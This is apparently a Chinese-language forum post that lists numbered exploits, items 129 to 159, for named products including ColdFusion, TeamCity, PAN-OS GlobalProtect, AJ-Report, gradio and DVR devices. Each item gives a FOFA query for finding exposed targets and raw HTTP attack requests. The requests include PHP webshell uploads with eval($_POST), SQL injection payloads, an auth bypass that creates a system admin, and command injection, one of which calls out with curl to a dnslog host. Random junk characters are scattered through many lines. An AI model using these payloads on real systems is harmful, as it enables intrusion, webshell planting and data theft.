6 L. l$ P1 [* c( Y3 [; P  Z129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
4 V. w! A/ Y- O" `; Y8 vFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
% V  I, g$ C& r9 @GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
" {& _/ z% `7 j* W* y4 K1 b4 M8 RAccept: */*
. o- F' J& V- a* W% i. tAccept-Encoding: gzip, deflate
Connection: close
8 G% f% t: `  a5 G8 I, s7 w, ~* Y; M
& m* O- w5 V; M
第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
6 @9 _7 P! q# O( m- }# MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
6 p9 s$ p% Y; K2 ~( d. cAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9


130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
) s+ K$ J: Y2 y: n8 G! ~User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
$ Y0 U$ x- e) g% e2 u0 XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 M2 t1 e' u) u# E) r2 x/ y+ mCookie: user_name=1; user_id=3
Connection: close
% r' o: Q! a  c
------WebKitFormBoundary3OCVBiwBVsNuB2kR
- B2 ?) U* L6 f& ]1 b$ zContent-Disposition: form-data; name="file"; filename="1.php"
/ W& U* S1 S9 |! z7 }- pContent-Type: image/png
. I4 b% \$ X& ~7 l5 Y4 b
" z$ T* E4 z/ v) |" u, K: V. _<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
, W) R. ~# i* yFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
2 B* p; i3 z  T. t, U
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
4 h2 M4 j+ M) o9 ~! ^$ M- I) uCVE-2024-27198
FOFA：body="Log in to TeamCity"
: r' u. D8 M- oPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
# S# [) s; a  ?! d1 z' YHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
4 d; F3 Q; H6 l: ~Content-Type: application/json
9 F& e: t, x4 WAccept-Encoding: gzip, deflate

. h& V# o" K; U9 `  c0 W0 D{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
2 C; l; D% ?+ |. I, E

CVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
) K2 H( r! W  I7 d* }
2 |. ]& {  g2 }. W" E" U
( T2 w) E% @: u$ BCVE-2024-27198-RCE.py
( W* l$ m* a. C4 O* h  Z
* F( v% F( B$ K) b133. H5 云商城 file.php 文件上传
5 J- Z. d- _# b4 L8 uFOFA：body="/public/qbsp.php"
# v/ Z, `" c, J3 t1 e8 \0 D4 hPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
6 n& ^5 g8 c9 H9 B$ ~2 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
% W0 A, m7 |0 uContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

% K1 l, S& S  i4 n8 [! k: V* w: R------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
% M8 u/ z: y1 C7 G/ _. N0 A8 ~8 Q9 ?Content-Type: application/octet-stream
1 O* Q. ]7 F  b+ k
9 p; Y7 Q) t7 r; r' a5 g<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

2 w' k6 x0 P" _, o. F& h8 s1 j. @
2 |" |8 ?7 e  g
# c1 s* H2 s+ v& b, E134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
( H. }* \; L, x2 V- }3 hNetentsec NS-ASG Application Security Gateway 6.3版本
0 ~, {4 R+ d9 LFOFA：app="网康科技-NS-ASG安全网关"
9 ]/ @) }* e- ^POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
- Q0 h5 w- s4 q  JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
; D* N. X" R, i* g; cSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
; |6 f# m) q7 LConnection: close
+ r3 O9 W' R4 K- X% v" l8 A! @Content-Type: application/x-www-form-urlencoded
Content-Length: 263
/ ^. c* V& ~3 V2 @; s
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
. n$ @4 i7 j$ o7 p* m
; l- B% G3 K, t. h
, e  W1 q+ i0 o% k6 s  @135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
. C( Y) n. k1 WNetentsec NS-ASG Application Security Gateway 6.3版本
1 D; T- L/ _* U8 H9 M( m; M+ ]2 TFOFA：app="网康科技-NS-ASG安全网关"
$ B$ s( h: k' ]: OGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
5 E8 H6 h- R6 U, e% S& M) ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" x. S, }: U8 c6 G: n% }3 I& tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
( ?2 b7 h7 s' OAccept-Language: zh-CN,zh;q=0.9
7 r: [# Z. L9 O! G: @Connection: close

/ W0 Z# I+ s2 X; h7 x" [2 x
136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
7 W! l/ z  ?9 \. P# d2 L. m7 FGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
4 m. f5 x: }5 V2 ^+ HHost: x.x.x.x:10000
; O$ Q+ T4 p: Y' kUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ K3 T, u& L  l7 l+ Y% ~( w& Q+ dConnection: close
9 ^6 u& f8 d( t* k- FAccept: */*
Accept-Language: en
Accept-Encoding: gzip
6 t$ q0 |* E$ S) r7 Y  y' r/ H

137. 福建科立迅通信指挥调度平台down_file.php sql注入
& g- ?, v2 D1 x: M& \- m0 \0 @7 \CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
' K- X8 `% k8 a, O0 l* }' yGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, ?/ ^1 S0 r, E2 d" D2 @; r2 fAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1

! }7 f; q" E* n/ N; z
( E, n7 \5 C2 }9 R* }138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
2 f6 p7 I% q% E) `CVE-2024-2621
* f0 W. M6 A$ E6 c1 o( @% mFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
3 {. w4 U) C4 L2 ]* ~/ p7 M4 e+ s! bGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
( }7 `" p0 L% U( j9 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& ^+ l' Q! v, H7 G! I& @/ E2 T" l% X& `8 HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% X- j/ P3 \8 H" N5 C. lAccept-Encoding: gzip, deflate, br
Connection: close
' H/ a/ u2 e* W1 P  J2 q/ \Upgrade-Insecure-Requests: 1
8 \, |7 I/ Z* T5 X1 G+ s- ^

139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
6 a6 J$ a, y/ B, W( B7 T) t  NFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
5 n4 N" U" `8 s, _' r$ }! k' QGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
  h3 l. f& ?# r6 A/ C+ p# O1 oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
5 h4 g0 {) I  A- E# V' I  [, [: |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
9 A# _# P0 g5 A7 PUpgrade-Insecure-Requests: 1
# L, @2 j  d. X) k; f
& e! U! W; L# @
9 t" Y3 B7 n( B( C6 y4 J140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
' a; a% k! ~% E4 X4 aCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
1 b3 z6 i  _2 e3 iGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
) s2 p9 e% k- O3 K6 f1 aHost: x.x.x.x
2 U6 K" }( @1 E" ?& i( x; v+ q& ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. O# }9 h; W' d+ M! W' MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
9 _/ E+ |; O4 e6 S) u/ Z5 RConnection: close
8 R8 S2 b, d8 ~- eCookie: authcode=h8g9
& z3 E5 o; ]9 h. V% m" aUpgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
% O: A3 x4 T" ~/ C" C8 {- X& P. F! kUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded


' ]5 p7 c/ K% S- pdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
; n4 [& [; i: b; ^9 `
- P/ s) U9 m; l
142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
admin/admin
  e- U8 P/ R, t5 T143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD
/ X' Z3 X# r# @( V
144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
+ e/ \$ c  i& q' Msystem参数用于传要执行的命令
/ |9 J  g( n) H- K% p  u, w- yGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
9 d+ B: T! M# g: vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
1 T# @4 s8 L/ p5 R: k* N7 VConnection: close
Accept: */*
Accept-Language: en
' U: ^# _0 |5 RAccept-Encoding: gzip
0 o% y  Z% m0 e, r

8 ^1 c: x  ]# l- [9 O. O) x/ o145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
# m' L; N: x0 fFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
3 \0 T- G' E! H  B4 M+ HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip


146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
1 A4 T' g. l. h2 z% m1 V( LGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
1 k- E4 P& H4 R# [7 T5 h3 b6 XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
4 w- I: A2 |" K, T- |+ v! @  S" ?Accept-Encoding: gzip, deflate
Connection: close
( P& K( f! T. V) f1 l* [& L

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
9 Y8 O# S3 c, ^( ~$ u* _5 bFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
0 g9 u4 q# `" H6 ]3 b8 g- AHost: 127.0.0.1:81
+ {, V1 h7 l8 E. [  fCache-Control: max-age=0
2 |/ ]2 E1 o7 |$ uConnection: close


148. CrushFTP 认证绕过模板注入
& @* _3 A0 T! w& i, ?' G% z& l4 [CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD
6 D- M+ u, e! V
149. AJ-Report开源数据大屏存在远程命令执行
# l! m9 l0 B& H; B6 zFOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
0 c, w1 j5 q4 l$ I2 j. kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
+ R. o" V0 U6 M$ B+ N& _! ]& lAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

' a' ~1 ]1 X, r- W; h{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
0 R+ `. V& @3 Q+ }FOFA：title="AJ-Report"
* d# ~( x( R- ^  \+ [3 ^POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
- Z2 k, s( y! K! J" U5 Y4 s% CContent-Type: application/json;charset=UTF-8
* t7 N* Q9 A" V, O- F4 ZConnection: close
. o/ e7 o7 H6 U; F' K7 A' XContent-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
; U( P) d3 o8 v1 Z( v: B% l

151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
1 p1 Y& R! U( u  ^1 _1 p# |4 EHost: x.x.x.x
. J5 n! G3 i. J* G6 f9 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  j! s. n: X. Y& BConnection: close
Accept-Encoding: gzip


152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
1 R" S' Q. x9 ]7 H2 j4 {5 s+ uLoadMaster<=7.2.54.8 (LTSF)
# \2 e/ I) s" L; e( ?) T$ J% H6 zLoadMaster <= 7.2.48.10 (LTS)
: R9 {, |! Q! l2 L  AFOFA：body="LoadMaster"
( e5 o5 q7 {" G" sJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
- l" x$ W, z% o$ W: eAccept-Language: en
  }+ u) Q" g7 G9 Q4 ]% r/ nAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip

7 Y8 p* H, J: h2 ~8 s
( ]' _# J) W% s: q$ w) D153. gradio任意文件读取
4 }" R0 n& m$ a; \: i& g7 FCVE-2024-1561FOFA：body="__gradio_mode__"
% A% f3 a7 v' X# K7 ^" \- x$ Y第一步，请求/config文件获取componets的id
http://x.x.x.x/config
6 N5 h5 g% ^' z% C! s! d* N& x

- _% i' l* U. F. r, x/ l第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
, }( ]4 N2 V% s: P# f, g. ]* h! HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
; j4 v0 H+ p, c; f7 WConnection: close
Content-Length: 115
Content-Type: application/json
9 d" O& H1 d) N' P6 ^7 B6 wAccept-Encoding: gzip
' J! J  b! b  i# m" O
( B1 f0 e3 Z1 j$ o% [/ `{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


第三步访问
1 L6 m' l# r/ a4 e- Y3 Y; H; M, Hhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

7 I( x6 p* F- ?2 y% m+ N/ W
1 P5 Z- X# Y! n1 s2 A8 W7 t154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
4 u7 H5 E7 A. }5 K+ N- ZHost: x.x.x.x
. K# s7 |3 P% T( I+ ZContent-Length: 106
# t1 C9 ~% j  G; h% V, [- S9 ^Cache-Control: max-age=0
8 P) ]1 W$ h/ a' ]3 `6 A# qUpgrade-Insecure-Requests: 1
0 V# U& N0 G! B' kOrigin: http://x.x.x.x
Content-Type: application/json
; I" U1 m$ U( o: Z* U: AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
: z4 b9 u. C6 e$ A0 NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
7 T, w' g3 ?# l' C) F0 q
+ E9 |6 }6 A/ Z{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

3 t- k; E5 U- c+ q  b/ |  b
) t0 d0 l8 J& C7 O3 r: u155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
# d! n3 P0 A5 F8 MPOST /include/file.php HTTP/1.1
$ W+ Z9 k2 P8 y( zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
3 B8 W% O1 m2 g. j; |3 E# ]; ]# BConnection: close
2 X) _* i. U! V4 @- q" X# F$ uContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
# m! T* ]" r8 z- ^! |. y' fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
6 A& O  U: z6 T' S. A# o5 @* t5 q  ^7 nX-Requested-With: XMLHttpRequest

% _/ I+ r8 Q, s5 b-----------------------------qttl7vemrsold314zg0f
& w6 ~! d8 X6 ]. XContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
5 i0 i- i8 e5 U/ t
1 v9 F% Y) q- x2 P+ C# @" p<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
! ~$ B5 Z+ _: r. n
! J5 L7 E) A: C& G! ?$ Y
9 O  B+ G: e2 L9 w" t/ }  b访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
4 E& Y( I3 T" d; r( T+ u9 ]; ~
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
; J. Q0 n9 A  B: ~curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

: B, S# l( J4 u) T
6 D, J, Z7 n* o1 o# ?/ l( pPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
1 Q7 `+ p( k/ u, T4 ?5 \3 [  r& ^Host: x.x.x.x
& K0 I) g' H4 J& `  |( dUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' q  @( |$ u' uConnection: close
/ \2 l; T  t2 E2 d( \* ]Content-Length: 0
; s7 O: o5 ]) D% K5 E% jCookie: uid=1
Accept-Encoding: gzip
3 b8 B: D7 g0 p' a
2 i; V* h( i( O' Y
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
) A9 S0 T3 l$ c1 X. E9 ]$ Z( Q: x: x6 d) \Host: x.x.x.x
& H) D2 Z" b: C: i4 r1 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
% n7 M9 @- ?6 z+ rContent-Length: 709
! j" i  Z  [# E8 d6 |* ?! ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- i" \  G# Q& @7 f" o+ b" DCache-Control: max-age=0
0 Z9 a  i: h! O% k1 B( T! AConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

4 F1 A) U1 p( q/ D$ g* X------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

8 F) _; j) b* j& m' Jnyhelxrutzwhrsvsrafb
, z8 f4 n9 p. v, e! K% ~7 L------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

# B* W1 r* I1 z# dnull
------WebKitFormBoundary1imovELzPsfzp5dN
8 |; I: Q: t+ e7 G  @9 rContent-Disposition: form-data; name="form"
7 t' S. ?0 P- V/ E
! s3 K3 l% y$ s5 n& y7 Z6 L- hnull
& E0 d* V6 N0 n# T6 g) Y5 o------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
) l4 y! R- s& s------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

9 k! X: e& e9 C8 _# T3 v! Mnull
5 l. d2 s5 @' M: j  y) }: z  s6 d------WebKitFormBoundary1imovELzPsfzp5dN
7 w- z2 T, j) i3 W- S8 G( wContent-Disposition: form-data; name="filefolder"
( c6 \* u5 m- ?; p
, H5 e$ u/ M8 D  y! onull
------WebKitFormBoundary1imovELzPsfzp5dN--
5 O' S  ]' @+ e- g8 P6 Q
1 t. _/ L2 a( s( U7 K" L3 ^- n8 q
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
. m0 b, |$ T" V0 {
4 D: @7 \( H8 l  w158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
" A( o) u% m9 @! \7 Y1 j: U, sContent-Type: application/x-www-form-urlencoded
/ z& Z! E4 }% W/ B
) ]$ z- d) p7 I4 Gobject=displayregion&contenthistid=x\'&previewid=1


159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
3 q) c2 S3 z$ l- P( F, F5 rFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
$ j! ~  Q- [, Y) ]% `$ vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
5 q' \- j8 J) J- l+ X4 B' j3 zContent-Length: 1080
Accept-Encoding: gzip, deflate
1 s/ z8 k1 ]& s3 \& I& i3 [# WConnection: close
9 R; g! |: H6 J! L4 j& w" vContent-Type: text/xml; charset=utf-8
! x3 y9 x  G3 g7 b4 M% aSoapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
